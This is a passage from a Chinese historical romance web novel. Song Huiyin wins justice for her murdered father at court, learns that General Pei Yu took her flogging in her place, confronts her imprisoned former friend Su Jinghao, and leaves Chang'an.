“陛下,臣有证人可以证明宋大人是死于毒杀,无需开棺验尸。” 裴彧冷淡的声音传到徽音耳里,让她一阵恍惚,他为何会帮她,他不是要站在她的对立面,护着苏家吗? 裴彧呈上一封书信,“这是当时负责验明宋大人尸身的仵作所写的认罪书,他指认是苏文易买通他篡改仵作文书,改为撞墙自尽。事后,苏文易杀人灭口,他为了躲避追杀隐姓埋名。” 苏文易面色癫狂,“不可能,这是你伪造的!” 裴彧懒得理他,继续对宣帝道:“此人有些小聪明,不但没有出京,而是改头换面跑到了苏府做马夫,人现在就押在宫门外,陛下可以派人宣进来审问。” 宣帝颚首,殿外的黄门侍郎领命,一路飞奔出宫。 那枚药丸的药效似乎已经过了,徽音能清晰的感觉到背上的伤口越来越疼,她眼前都有些模糊看不清人影。 她看见那仵作被人宣上殿,声泪俱下的指认苏文易。 看见苏文易神色癫狂为自己辩解,言辞错漏百出,也看见宣帝站起身怒斥苏文易,宣判苏家满门押入大牢,苏氏女与太子婚约作废。 听到这里她才松开一直握紧的拳头,手心里已经是鲜血淋漓,长久以来压在她心上的重石终于挪开。 徽音跪在地上,叩谢宣帝。 宣帝满悲悯的问她,“你家中可还有其他人?” 徽音长睫盈泪,艰难的摇摇头,“家母已去,幼弟下落不明。” 宣帝叹息一声,着人拟旨,“前御史大夫宋渭为小人所攻奸所害,蒙冤受辱,其女忠勇孝义,为父申冤不顾己身,朕心甚尉,着恢复宋渭身前尊荣,特追封为义侯,世袭罔替三代,归还一切苏府旧物,赏百金。” “臣女叩谢陛下,陛下千秋万岁。” 徽音虚弱的走出大殿,冷风一吹,她甚至有些看不清眼前的阶梯。 裴彧匆匆忙忙的出殿去寻徽音的身影,方才宣帝将他留下询问了伤势,裴彧敷衍两句,出来后已经不见徽音的身影。 他走出大殿往下望,徽音已经下了阶梯朝宫门口走,身后不远处跟着王寰。 裴彧心神一凛,加快脚步追上去。太子不知从哪里钻出来,死命扒拉着他的手臂不放,“表兄,父皇说了,你不能出宫,得先去太医署。” 裴彧挣扎两下牵动背脊的伤口,他皱着眉停下来,唇色苍白。 他轻喝道:“放开!” 太子不撒手,偷偷给身后的侍卫使了个颜色。 裴彧望着徽音越走越远的身影,心中一阵空落落的,好像有什么东西从他身体里消息,他怎么都不抓。 他单手捏住太子的腕骨,掐得他痛呼放手。 裴彧推开太子,朝徽音的背影追去,他目光忽然顿住,就见徽音走到宫门口时软软的倒下去,背后的衣裙渗出血迹。 他心中一紧,下一刻,一道重重的手刀击在他颈上,裴彧最后看见的画面,是王寰上前抱起徽音朝宫门外走。 他倒在地上,耳边是太子的惊呼,眼前是徽音消失的裙角。 第60章 她是柳檀。 “扈江离与辟芷兮, 纫秋兰以为佩。朝搴阰之木兰兮,夕揽洲之宿莽……” 徽音眉间微微蹙起,她能感觉到有人在替她擦拭身体, 细心上药,在她唇上轻轻的沾水, 润色她干涸的唇边,徽音迷离迷糊间听见有人说话的声音,是谁? 她昏昏沉沉醒了又睡,直到有人握住她的手唤了声女郎才悠悠转醒, 眼前的一切都陌生之极,床前伺候的婢女看见她醒来大喜, 连忙飞奔出去喊人。 徽音撑着身体坐起来, 她身后的伤口被白布层层包扎起来,没有初时那样痛, 只剩下些微麻的触感。 这间屋子布置雅致,炉中点的熏香气味香甜不腻人,屋内帷幔配色叫人眼前一亮,屏风上绘着一副春日山水图,看得出主人喜好风雅。 徽音掀开被子下榻, 取过搭在衣架上的外衣穿上, 低头系着腰带。 门外传来颜娘的惊呼声, “女郎, 你怎么下榻了, 快快回去。” 徽音转头怔怔盯着颜娘, 有些不敢相信,“你……” 没等她说话完,颜娘已经小跑到她跟前, 拉着她往床上坐,口中还在碎碎念,“你背上伤还未好,得好生休养。” “傅母,你怎么在这,我不是让你出城了吗?”徽音忍了片刻,终是忍不住抱住颜娘小声哭泣。 颜娘心疼的摸着徽音的软发,“奴听你的出了城,是被王郎君找回来的,王郎君说你受伤了高烧不退喂不进去药,奴一听就急了,就跟着王郎君的人回来了。” 徽音吸吸鼻子,从颜娘怀里抬起头,被泪洗过的眼睛清澈明亮,“傅母,我做到了,我为阿父平反了。” “奴就知道,女郎一定可以的。”颜娘眼里闪着泪。 主仆二人抱在一起哭了一阵,徽音才想起来问,“我们是在王府吗?” “是我的一处宅院。”王寰站在门口,长睫如鸦羽。 他身后跟着一群捧着漆盘的婢女进屋,手脚麻利的在小几上布置饭菜,端到床前给徽音服用。 王寰站在门口,笑容温润,“我可以进来吗?” 徽音点点头,“当然可以,若不是你救我,我说不定就露宿街头了。” 王寰轻笑不语,端坐在屏风后,语气温润,“你大病初愈,我让人弄了些清淡的饭食和药膳,你尝尝?” 徽音拿起银勺,清粥咸香适宜,里头还放了些笋丁肉末,味道鲜美。她用完饭,颜娘将桌上的碗筷收拾好拿出去,一时间,屋内只剩二人。 两人同时开口: “我昏睡了多久?” “背上的伤口可还疼?” 徽音动了动肩膀,摇头道:“我伤已经无碍,不痛了。” 王寰起身走到屏风后,隔着帷幔伸手进内室,修长纤细的手掌里放着一个碧色玉罐。 “你昏睡了三日,医官说是你服用了某种药性极强的药物,造成气血上涌,五脏发热,才会高烧不退。这几日都在等药性挥发,只用了些外伤药膏,这里头是些消肿化瘀的,你拿着,等会让颜娘帮你上药。” 徽音接过药膏,真心实意的道谢:“王寰,多谢,你帮我良多,我无以相报。以后……” 王寰语气有些失落,“徽音,你认为我帮你是图你的回报吗?” “我不是这个意思。”徽音连忙摆手解释。 王寰盯着轻纱后的身影,眼底深色愈发浓郁,“裴彧帮你,你也会和他这样客气吗?” 徽音话音被他堵回去,她握紧玉罐,长睫轻颤,“你们不一样。” “我想和他一样。” 徽音深吸一口气,起身下床,掀开了帷幔,与王寰面对面站着,她穿着外衣,除了披头散发外,衣裳整齐,倒也不失礼。 “对不住,你不要再把时间浪费再我身上了。” 王寰闻言倒也不觉得意外,他垂下眼,徽音脸色比三日前要好很多,唇上的血色也恢复过来。她昏睡的三日里,除了呢喃去世的父母和弟弟外,只喊了两个人的名字,颜娘和裴彧。 他知道在徽音心中自己比不过裴彧,但他还是想要试试,他不想再错过了。 “徽音,我不要求你现在就接受我,时间可以淡忘一切,我可以等你,等你忘记裴彧的那一天,我想娶你,以后让我来保护你,好吗?” 徽音避开王寰的眼神,她现在心很乱,所有关于感情令她心烦的事情她不想再去考虑,她不想再回到那种情绪无法控制的状态。 她回道:“抱歉,我不会再考虑这种事情。王寰,我很感激你,你是我最好的朋友,我也很珍惜你。你以后一定会遇见一个比我好千倍万倍的女郎,而我会离开长安,也许此生都不会再回了。” 她转过身,眉眼弯弯的看着王寰,笑道:“我会在远方遥祝你余生遂顺,平安喜乐。” 王寰喉间发涩,“如果我们订亲了……” “没有如果,”徽音打断他,“人生不会重来,我们也不能拘泥于过去,要向前看。” 两人彼此相对,彼此沉默,良久,王寰破碎的表情恢复平静,他眼尾泛红,嗓音沙哑,“我知道了,这些时日你就住这里吧,等你走的那日,我再来送你。” 徽音沉默的点点头,望着他离开。 王寰走到门口,抬头看着天上的骄阳,刺眼的很。他抬手遮住阳光,自嘲的笑笑,其实他也怨不得旁人,倘若宋家刚出事时,他没有碍于族中长老的反对,强硬的将徽音纳入羽翼之下,那么一切就都会不一样。 他停住脚步,无奈叹气,有时候倒也希望自己能小人些。 王寰停住脚步,回头对徽音道:“我自认为不比裴彧待你的心差,但那日大殿之上,他确实出乎我的意料。” 徽音睁大双眼,有些不解,“你说什么?” 王寰无奈,“我想了很久,到底要不要说。但这事,我觉得你应该知道。那日在大殿之上,你剩余的四十七荅,是裴彧替你受的。” …… 大殿,徽音出了大殿后,在场众人除了苏文易皆低头露出不忍之色,王寰还想要出列求情,却被王衡死死拉住,他说,“这是她必须要受的,也是她自己求来的!” 王寰绝望的闭上眼,五十荅下去,徽音能不能留口气还令说,更环论带伤在大殿之上同苏文易辩驳,早知道她今日要如此,他一定会拦住她。 他绝望之际,突然听见殿中人呼吸一滞,纷纷转头朝前方看去,裴彧不知何时走了大殿中,他跪得笔直,声音响亮,“陛下,昔日臣平定平定东瓯之乱时你问臣要什么赏赐,臣说下次想起了再找陛下讨,不知道陛下可还记得?” 宣帝眯着眼,“朕记得,怎么,你现在要向朕讨了?” “是。”裴彧俯身磕头,“陛下当时有言,所许之事不能危害江山社稷,今日臣想用军工换宋徽音免除刑罚,此无关社稷,请陛下准许。” 苏文易僵硬的转头,怒目而视,“裴将军此言差矣,宋徽音越级告官,受苔刑乃是国法,你怎能因一己之私而罔顾国法!” 宣帝状似为难,“倒也有些道理。” “那臣便换一个,恳请陛下让臣替宋徽音受过。” 裴彧转头盯着怒目的苏文易,轻嘲,“这应该无关国法了吧?” 苏文易仿佛被掐住嗓子,脸色发青,指着裴彧嘴唇颤抖。 宣帝笑道:“你确定要拿军功换这个?” 裴彧低头,“臣确定。” “朕准了。”宣帝抚袖笑道,“出去领罚吧。” 裴彧恭敬的行完礼,看都没看脸色狰狞的苏文易,起身朝大殿外走。 他站在大殿的阶梯之上,轻而易举便把阶梯下的景色纳入眼底,他看徽音被两个小黄门扶着往上走。 她唇角还残留一丝血迹,脸色白如纸,一双眼却依旧明亮,熠熠生辉叫人不敢直视。 裴彧收回视线,同徽音擦身而过。 他没上刑凳,直挺挺的跪在石阶中央,退去外袍,露出窄背,微微倾身,双手合与身前。 旁人递过来一块锦帕,叮嘱道:“裴将军,您咬着这个,免得行刑时伤着舌头。” 裴彧沉默的接过锦帕,余光看见不远处地上扔着的一块锦帕,是方才徽音所咬,上头还有鲜红的血迹。 裴彧心中像是被钝器狠狠往里钻,叫他难以喘气,他哑声问,“方才行了多少?” 那人回道:“三苔,您还需受四十七苔。” 三苔,徽音体弱,肌肤白皙,稍微用点力就能留下一片红痕,更别说这三苔,她肯定很痛。 裴彧扔开那锦帕,心口发紧,“动手吧。” 许是行刑人也不敢太过分,受完四十七苔后,裴彧神思尚清醒,没有晕过去。只是他后背完全麻木,连痛都察觉不到。 背脊处的血水顺流而下,在他身下汇聚成小湾血水,身后有人扶着他起身,叫他赶紧去找医官。 裴彧推开他,酿酿跄跄拿起外衣穿上,他还受的住,他怎么可以就此离开,怎么可以把她一个人留在这里,让她独自面对那豺狼虎豹。 裴彧动作僵硬的穿好衣服,艰难的抬步朝上走。有些自嘲的想着,老话果然是对的,身上痛,心里就不痛了。 …… 徽音听完王寰的话,当场愣住,她怎么也想不到裴彧居然会为了她做到这个地步。 他为什么要这样?他们不是已经决裂,已经说好两不相干了吗? 徽音心乱如麻,连王寰何时离去都不知道,她捂着脸坐在原地,后知后觉的想着,原来那天大殿上,她闻见的血腥味不是假的。 她比任何人都清楚那苔刑有多厉害,她不过挨了三下都如此严重,何况是那剩余的四十七下。 受了伤还在大殿上帮她,甚至找到了她一直未曾找到的人证,裴彧他到底是什么意思? 徽音胡乱揉着脑顶,方才还信誓旦旦说自己绝不会再被感情所挟,她现在是在干什么啊。 她仰头吐出一口气,起身硬生生灌了三杯茶,才把心底的烦闷强压下去。 颜娘拿着木梳走过来,拉着徽音坐下,轻轻梳理她的长发,语气柔和,“今日王郎君帮我们去京兆尹那里把宋家的旧物都领了回来,宋府现在是旁人在居住,他家愿意用银钱买下,你如何想?” 徽音沉默片刻,“给他们吧,我们在长安也留不了多久,要回来也是无人久居,迟早会败落。” “奴也是这样想的,”颜娘小心翼翼的试探,“那我们什么时候离开长安?” 徽音望着窗外,有人经过树下,飞鸟被惊起朝南方飞去,她声音有些低,“找人算一下黄道吉日,起棺回乡。” 颜娘点点头,“奴去找人办。”她有些欲言又止,张张嘴又没开口。 徽音察觉道,转头笑笑,“有话直说就是。” 颜娘:“咱们走的匆忙,有好些东西都没裴府拿出来,还要吗?” 徽音眼神一颤,好不容易压下去的心思又在此刻浮现起来,她紧紧捏着衣角,心中一直有个声音在说,去看看他。 她艰难的张口,“要的,过两日我去取。” —— 在别院待了三日伤,徽音身后的伤势大好,这日她叫人套了马车,没喊颜娘,独自一人去了裴府。 裴府还和从前一样侧门紧闭。徽音坐在马车内,许久才下车去敲门,侧门的小厮认得她,见她到来面露惊讶。 徽音递了小金珠过去,“能否通传一下,我想见少将军。” 小厮打开门侧身请徽音进来,“娘子快进来吧,需要奴带您去内院吗?” 徽音摇摇头,“我认得路。” 她进了垂花小道,一路朝里走,今日后院婢女不知为何都不在,一路上都没人。 徽音脚步稍步稍顿,她看见了临水阁,临水阁门窗紧闭,不过几日,院中那颗大槐树的枝叶就衰败了不少。院中也没有听到阿桑和阿蘅的声音。 徽音瞧了片刻,抬继续向前,最终停在硕风堂外。她在门外踌躇片刻,抬步走了进去,院中杂洒的僮仆看见了她,纷纷停下手中的动作朝她行礼,其中有一人飞快瞧了她一眼又低下头,面色古怪的望着里屋。 徽音顺着他的目光望去,那里是裴彧的寝房,她只来过一次,此刻门户紧闭,里头安静无声。 她问道:“少将军可在?” 几个僮普互相对视一眼,推搡着让一个面容清秀的上前回话,那人话语有些结巴,“少将军在里面歇息,里面" 他话还没说完,裴彧的寝房就被人从内里打开,徽音看见一个身着淡紫色缠枝曲裾的衣裙从门后走出来,她云鬓上钗这一只成色极好的烟水玉,在光下轻轻晃人眼。 徽音顿在原地,目光紧紧的盯着她,心底涌上一个名字,她是柳檀。 柳檀动作很轻的关上门,深怕惊扰里面休憩的人,她转过身,唇边泛着浅浅的笑意,目光在徽音身上一触即离,声音轻柔的吩咐院中的几个僮仆先下去。 僮仆等人倒也真听她的话,动作麻利的收拾地上的水盆和抹布,忙不迭的退出门外,还贴心的为两人关上门。 等人走后,徽音才看见柳檀将目光落在她身上,她也看清了柳檀的相貌。身姿弱柳扶风,远山眉轻蹙,像叫人看见了江南烟雨的里的美人。周身萦绕一股书卷全,瞧着像是饱读诗书的才女。 柳檀率先开口,她站在寝屋门口未动,一副女主人的姿态,“你就是宋徽音?” 徽音收回视线,轻轻点头,“柳女郎。” 柳檀双手交叉于腹前,微微仰头,她身量比与徽音差不多高,却因站在阶梯上气势要高出一截,“你是来探望元晞阿兄的?” 徽音轻轻应了一声,余光看见柳檀抬手整理衣领,言语亲昵,“元晞阿兄方才喝了药已经睡下,你有什么事可以告知我,我替你转达。” 徽音心跟被针扎了似的,一阵一阵发疼,她望着这个处处以裴府女主人姿态自居的女人,有些抑制不住的想和她对上,“少将军因我重伤,我想亲自看望。” 柳檀浅笑软语,回忆道:“元晞阿兄还是如此,面冷心热,他瞧见路边的可怜人都会身手扶一把,何况是你呢?我听闻你已经脱离了裴家,今日上门可有叫人通传?” 徽音握紧手心,没有说话。 柳檀轻蔑一笑,扬声唤人进来问,“这位宋女郎是谁领进来的,怎么无人通传?” 那僮仆面色为难,埋着头道:“回柳女郎,无人通传,也无人领路,是她自己来的。” “知道了,下去吧。”柳檀轻轻挥手,臂弯出的轻纱随着她手臂起落,姿态优雅,好看的紧。 徽音垂下眼,有些自嘲的笑笑,不明白今日自己为何要来自取其辱,真是蠢啊。 她抬眼微微屈膝行礼,“劳烦柳女郎帮忙转告一声,就说宋徽音谢过裴将军的恩情,他日有机会,定当相报。” 柳檀笑着点头,在徽音抬步出门那刻出声,“对了,我与元晞阿兄的婚期定在年前,届时宋女郎可否赏光?” 徽音停住脚步,回头看着柳檀遮掩不住的得意之色,微微一笑,“许是去不了,想必柳女郎和裴将军也不缺我这声祝福。” 她脚步匆匆的离开硕风堂,觉得自己此刻好像是一只落败的丧家之犬,连回头看一眼的勇气都没有。 徽音原路返回来到临水阁,轻轻敲门,没一会门便被人打开,阿蘅那颗圆脑袋一脸疑惑的探出来,瞧见是她欣喜异常,连忙大喊:“娘子,你回来拉!” 她打开门让徽音进去,原本还在屋中的阿桑听到这声也跟着跑出来,一脸信息欣喜的看着徽音,“娘子,你这次回来还走了吗?” 徽音笑笑,“我是来取东西的。” 阿蘅和阿桑面露失望,互相拉手期期艾艾的看着徽音,小尾巴似的跟在她身后。 徽音抬头打量着这座小院,院中还和她离开时一模一样,屋内的摆设也没有变动,地板和案几干净整洁,看得出一直有人在打扫。 阿蘅轻声道:“您离开后,少将军吩咐这里的一切都不准动。” 徽音没有说话,径直上楼,二楼也一样没有被动过,屋子里还弥漫这一股她惯用的熏香。 她走到橱柜旁,将裴衍送给她赔罪的竹蜻蜓翻出来,其他的东西一概没动,还带走了王寰替她寻回来的九霄环佩。 阿蘅上前帮徽音手中的九霄环佩接过,不舍道:“娘子,我送你出去。” 徽音点点头,由着二人将她送到侧门,王府的婢女上前接过阿蘅手中的东西,搬去马车上。她转头望着阿桑和阿蘅,“这些时日多亏了你们照顾我,多谢了。” 两人侧身避开徽音这个礼,连连摆手,“娘子别这么说,能服侍娘子,是奴婢等人的福气。” 徽音让二人回去,转身朝外走,身后传来一声怒喝,“宋徽音,你站住!” 她转头去看,贺佳莹提着裙摆飞奔过来,一脸气鼓鼓的拉住她,质问道:“这怎么回事,到底发生了什么?” 徽音扶住她,古井无波的眼底泛出笑意,“你消息灵通,还有你不知道的事?” 贺佳莹皱着眉,“我知道你和苏家的事,可我不知道你为何要离开裴府,是不是我表兄怪罪你了,还是我姨母?” “与他们无关,是我自己要走的,我要离开长安。”徽音听见裴彧的名字,脸上的笑意淡下来。 “长安繁华,为何要走?”贺佳莹脸皱成一团,紧紧拉住徽音的手臂,一脸不解。 徽音:“我不喜欢这里,这里不好。” 贺佳莹委屈道:“可我不想你走。” 徽音拍拍她的手,安慰道:“分离是为了下一次的相遇,有机会,我们还会再见的。” 贺佳莹嘴巴一瘪,眼泪刷刷往下流,“你真的非走不可吗,我知道我表兄和姨母待你不好,你在这里受了很多委屈,还有我以前也对不起你,可是,我真的舍不得你。” “表兄肯定也舍不得你走,他那日被太子送回府时,昏迷不醒,浑身是血,若不是在意你,怎会替你受刑,徽音,你便是要走也等表兄醒来呀。” 徽音朝硕风堂的方向望去,轻轻摇头,“我走了,你好好照顾自己,拿不准的事情先去问陶媪,莫再犯傻了。” 她拉开贺佳莹的手臂,抹去她眼角泪痕,不带一丝留念的离开裴府。 她没有回别院,而是叫人往廷尉府的方向走。苏家满门都被下狱,苏文易秋后处斩,其他男丁流放苦寒之地,女眷贬为奴籍。 离开前,她总得去看一眼,问苏静好要一个答案。 60-70 第61章 长安,她在这里一刻也待…… 廷尉府的官员早已被王寰打好招呼, 见她到来一脸笑意的迎上来,带着她往地牢走,廷尉府的地牢比永巷要好一点, 血腥气没那么冲,地牢深处也没有凄厉的惨叫。 穿过地牢大门, 领路的人带着她停在一间牢房前,这里关押的都是女犯,面前这一间里面有不少眼熟的面孔,吴氏, 苏静好,苏静娴以及其他苏府女眷。 她们不再是以往一身绫罗绸缎, 珠翠琳琅, 人人身着囚服,披头散发, 狼狈不堪。不过几日,原先饱满白皙的面颊迅速消瘦下去,变得面黄肌瘦,双眼无光。 徽音站在角落里看了片刻,听着劳烦里面的吵闹, 是吴氏和苏静娴正在辱骂苏静好, 骂她心比天高命比纸薄, 若非是她胡乱出什么毒计, 她们一家也不会落到这个地步。 而苏静好静静地坐在角落, 闭着眼靠在墙上, 面对声声辱骂一眼不发,像是没听见一般。 徽音对身侧领路的官员道:“能否把苏静好带出来,我想和她单独叙叙话。” 官员点头说好, 带着徽音拐进左侧的一间密室,然后快步出了密室去提苏静好。 徽音环视一圈,这里应该是某个官员的临时歇息处,陈设简陋,一张案几,两座书架和一张软榻,再无其他。 案几上铺满灰尘,看得出这人已经很久没来此处办公了,徽音视线落在微微摊开的竹简上,竹简露出一角,写着两个字。她心神一颤,收回眼背过身,平复心绪。 没过多久,密室门口便出现一个白色的身影,双手手脚都上着镣铐,脚步拖在地上,铁链发出叮叮当当的声音,亘长的甬道里回音不绝。 徽音看着她慢慢走近,只觉得眼前的一切都像一场梦一样,叫人不敢相信。她从来都没有怀疑苏静好,也根本不能理解她做下的事。 苏静好面色平静的走进密室,停在徽音不远处,没有一丝意外的神色,似乎早就知道徽音会来,“我等你很久了。” 徽音走上前,将她额前飞乱的碎发整理好拢在耳后,指尖从她的太阳穴一路划到唇侧,像情人间的轻柔的抚摸,苏静好睫毛轻颤,什么也没说,也不曾推开徽音。 两人难得的平静下来相处片刻。 徽音收回手,哀伤的望着她,“直到现在,我还是不能理解你,我想着,总得来见见你,来问问你。” 苏静好动了动被束缚的发麻的手臂,带起锁链一阵轻响,她扯扯嘴角,“你确实不能理解我,你生下来什么都有,怎么会知道我的艰难?” 徽音望着她,眼底蓄泪,“我知道的,我知道你艰难,父亲不喜,后母跋扈,兄弟姐妹对你忽视,动辄打骂。” 苏静好笑起来,她笑得很大声,眼角慢慢流出泪,“是啊,那时候,我活得连条狗都不如,但凡宴席上我都是落单的那个,被嫌弃,被争对的那个,除了你,没人愿意亲近我。” “我那时很感激你,也很感激你的父母,你们让我觉得我是人,不是畜生。可越是这样,我就越嫉妒你。” “徽音,我嫉妒你!嫉妒你父母恩爱,嫉妒你被他们爱若珍宝,我每次看见你们一家人和和美美的聚在一起,我就恨不得你们一家人去死!” 徽音看着她狰狞的面目,她口口声声都在说恨,眼底的泪却止不尽的流。 她轻声问:“是恨我们,还是恨你自己。” 苏静好嘶吼的声音戛然而止,胸口上下起伏不定,她满眼是泪的看着徽音,崩溃出声,“你们全部人我都恨!也恨我自己!” “你为什么要跟我抢太子妃之位,我什么都可以不要,唯独这个不能让!” “我不想伤害你的!我不想的!” 凄厉的声音在甬道中一阵阵回响,听得人头皮发麻。 苏静好低着头,任由眼泪低落在地上,将灰扑扑的地砖晕开,她恨自己,恨自己为何如此卑劣,如此阴暗,徽音对她很好,她也曾无数次告诉自己,以后一定要对徽音好,一定要好好报答她。 可是她骨子里流的就是苏文易那令人肮脏不耻的血,无论如何都洗刷不掉。每次看见徽音光彩动人,赢的所有人的夸赞,她只能像个衬托红花的绿叶,跟在她身边僵硬的假笑。 她就控制不住的嫉妒,控制不住的生恨,为什么她能那样美好,什么都好,容貌家世品行全部都有,更重要的是,她还有一个爱重她的父亲! 而苏文易,只要看见他那张脸,她就控制不住的恶心,为什么这烂泥一样的人生是她的。 可每一次,这种汹涌的恨意在看见徽音笑盈盈的望着她时,就不由自主的消散。 苏静好总是忍不住的想,徽音就是有这样的魔力,能叫人不由自己的爱上她,亲近她。 十五岁那年,她在街上被人羞辱,是路过的太子替她解了围,帮她出气。那是苏静好第一次体验到权力的滋味,权力可以让那些她痛恨的人匍匐在她脚底磕头求饶,权力可以让任何她不想看见的人就此消失。 从那时候起,她就下定决心,一定要成为真正的人上人,要把曾经欺辱过她的人狠狠踩在脚底。 她有了人生中的第一个目标,那就是成为太子妃,继而再成为皇后,成为南朝一人之下万人之上的掌权人。 为此她日益苦练礼仪,力求将一颦一笑一举一动都练成世家典范,她给自己套上了面具,营造名声,所幸,所作所为没有白费。她在长安的名声终于开始声明鹊起,也入了裴皇后的眼。 去年,裴后传出要为太子择妻的消息,她只看中了两人,宋徽音和苏静好。 听见这个消息时,苏静好就知道自己会输,她哪里都比不过徽音,徽音是美玉,她就是块破石头,明眼人都知道怎么选。 那天夜里她僵坐了一夜,握着阿母留下的发簪下定决心。任何人都不能阻挡她的脚步,她一定要成为太子妃。 密室内安静良久,一直低着头的苏静好抬起眼,泪光消散,她冷漠道:“我愿赌服输,动手之际我便预想到了今日。” 徽音哑声道:“你可曾后悔?” “悔过。”苏静好轻轻启唇,“我最后悔的事就是一时心软,留下你的命,早知今日,我就该杀了你,不留后患。” 徽音含泪点点头,平静道:“一直以来,我都知道你想做太子妃,我从没想过和你争。” 苏静好嗤笑一声。 徽音没有在意,继续说道:“裴后属意我为太子妃的消息传出后,阿父来问过我意愿。你可知我是如何回的?” 苏静好收了笑,抿着唇看着徽音,一言不发。 “我说,我不想进宫,我喜欢的王寰,我想嫁给他。” 苏静好呼吸陡然变得急促起来,她咬紧牙关继续听着。 徽音望着她,目光透过她看见从前的苏静好,“我想告诉你这个好消息,可你那时生了我的气,不肯见我。” 徽音抬步往外走,长安真是一个令人伤心,难受的地方。她在这里一刻也待不下去了。 “徽音,谢谢你,没有将那件事说出来!”苏静好声音带着哭腔。 徽音没有回头,她其实很难恨上苏静好,时至今日来见她时,都抱着一丝侥幸。 很早的时候,两人才刚刚认识不久,苏静好的母亲还没去世的时候,徽音受苏静好的邀请到她家做客,两个小孩子同婢女玩捉迷藏,藏在床底不知不觉睡过去。 再度醒来时,正好碰上了苏文易和苏夫人争吵的场景,他们在吵什么休妻,再娶,彼时的徽音和苏静好躲在床下满眼惊讶,不约而同的捂住嘴巴没有发声。谁也不知道事情会发展成那个样子。 苏文易失杀了苏夫人,杀了自己的原配发妻。苏夫人的鲜血流了满床,渗透到床底,一滴一滴的刚好落在苏静好脸上,将她那种粉白的脸染上血色。 晓事后徽总在想,是不是当时她俩出了声,苏夫人就不会被苏文易失手杀死,苏静好是不是也就不会亲眼看到父亲杀了母亲。 但苏夫人尸骨未寒之时,苏文易就将吴氏娶进门,将年纪尚幼的苏静好赶去了偏院。 徽音这才明白,根本就没有什么误杀,他就是故意了,见苏夫人娘家势弱,想要做吴家的乘龙快婿,又不想别人骂他抛弃糟糠发妻,遂起了杀心,掩盖成病故。 既要又要,苏文易这人当真的狼心狗肺。 苏静好也明白此事干系重大,两人约定此生都不会向第四人透露此事真相,也是因此徽音一直很心疼她,更不相信她会和苏文易合作。 她离开廷尉府,与新上任的廷尉大人撞了个正着,引领的官员忙拉着徽音躲去角落,目光艳羡的看着被一群人簇拥着走上前的人,叹道:“人和人果然是不同的,这位谢大人不过三十就做到了九卿之一,真真是前途限量啊。” 徽音顺着他的目光看去,他口中的谢大人很年轻,没有蓄须,看着就一副很年轻俊秀的模样,气质温和,同身侧的官员低头浅笑谈话。 身侧有人低语,语气极酸,“什么前途无量,不过是靠着裙带关系爬上来的,叫人不耻。” 徽音回头去看,说话的人一脸不屑,身上的衣服无品阶,应是廷尉府小吏。 同她领路的官员忍不住回嘴道:“你就是吃不到葡萄说葡萄酸,谢大人青年才俊,在任上时就屡立功劳,与他是不是徐侯的女婿有何关系。” 这般说着,那群人已经走到廷尉府大门前,正中间那位谢大人往他们这边瞥了一眼,身后议论的两人不敢再出声,纷纷低下头。 徽音垂着眼等那群人走过后出声问:“这位谢大人是何来历?” 小吏接话:“他原本是同我们一样的寒门子弟,因得了徐侯独女青眼,娶了贵女,从此一路扶摇之上。他前些年都外放在益州,前些日子被陛下调回来任九卿廷尉。” 徐侯,同大司马裴擎是同一辈的人物,他家也是军功出身,深受陛下宠信。他只有一个独女,爱若珍宝。 此间事与徽音无关,她点点头回到马车上,往别院走。颜娘找来的方士算好了黄道吉日,明日移出行动土,她打算明日就离开长安,起棺回乡,带着阿父阿母回荆州,葬入祖坟。 —— 翌日午时,一切准备就绪后,徽音同王寰和冯承告别,带着颜娘和几个王寰派来护送的侍卫启程。 她最后看了一眼长安城,吩咐动身离开。车队不快不慢的走出五里后突然停下,侍卫驭马来到徽音马车前,敲着窗问,“女郎,前方有一对主仆想要见你。” 徽音探出头,车队不远处立着两个窈窕身影,带着幕离看不清面容,她回,“让她们过来吧。” 那对主仆被冯承领着走过来,离得近了,那女子掀起幕离,露出一张芙蓉面,徽音眼神凝住,来人居然是只有过两面之缘的乐漪。 月漪走上前微微福身,“宋女郎,妾身来送你一程。” 徽音眼底荡开笑意,打开车门请她上车一叙,颜娘也下了马车去吩咐人准备茶水。 马车内只剩徽音和月漪,徽音望着对面的人轻声开口,“你帮过我两次,我还没有和你当面道一声谢。” 月漪浅浅笑起来,唇瓣微抿,艳丽的五官在此刻都变得柔美起来,“这声谢得妾身来说。” 徽音接过颜娘递上来的茶壶,给月漪倒了杯茶。 月漪捧起茶盏轻轻抿了一口,回忆往昔,“宋女郎可记得两年前朱雀大街,你曾吩咐家仆送过一位重伤的路人去医馆吗?” 徽音回想片刻,摇摇头,她不记得了。 月漪反而更开心了,嘴边笑容显眼,“你心善,救过的人数不胜数,不记得也很正常。” 徽音看着她唇边有些苦涩的笑容,问道:“那人是你的什么人?” “是我一母同胞的兄长,我们从小相依为命一起长大,那次他重伤身亡了。”月漪低下头,掩去眼中的水色。 徽音将帕子递过去,不好意思道:“抱歉,你节哀。” 月漪接过帕子握在手中,浅笑道:“我得知你今日要走,特意求了吴王来送你,如今见你一切都好,我也放心了。” “徽音,往后你要好好的。” 徽音心中涌出一阵难以名说的感激,她握紧月漪的手,不禁担心她日后的日子,“吴王过不了多久也要娶妻了,郑妃看中王氏七娘,这位七娘是长房嫡出,脾性素来不好,你……” “莫担心我,我有数的。”月漪下了马车,同徽音挥挥手。 车队启程,徽音扑在车窗前一直看着月漪的身影,直到她变成苍茫大地里的一个小黑点才收回眼神,放下车窗。 颜娘皱着眉回想,“奴怎么觉得在哪里见过这位娘子。” 徽音咬着栗子糕,低头研究地图,回应道:“在哪见过?” 颜娘摇摇头,她想不起来的,只是觉得这位娘子异常眼熟。 徽音将方才月漪说她曾经救过其兄长一事告知颜娘,颜娘目光一顿,拍手道:“奴想起来了!两年前,朱雀大街,娘子你吩咐奴送过一个重伤的男人去医馆,这月娘子就是那男人的妹子。” 徽音咽下栗子糕,轻轻应声,这事她已经知道了。 颜娘继续叹息道:“当时这男人不小心冲撞了吴王的车架,被吴王府的仆人当场打成重伤,不治而亡了,当时这月娘子哭的可伤心了。” 徽音终于从地图上抬起头,眼神惊疑,“你说那人是谁?” “吴王。” —— 炉中香炉青烟袅袅,裴彧缓缓睁眼,面前的帷幔花色熟悉又陌生,他定定的看了几眼,才想起来是朔风堂的寝室。从甘泉宫回来后,他不是宿在卫所就是住在临水阁,已经很久没有回到这里。 屏风后传来几声软语叮嘱,裴彧心念一动,坐起身朝外看,屏风后一个袅娜的身影正对着旁人在说些什么。 他心神恍惚,张了张口,“徽音。” 那人听见他的动静,掀开帷幔走进来,神色担忧,“元晞阿兄,你醒了?” 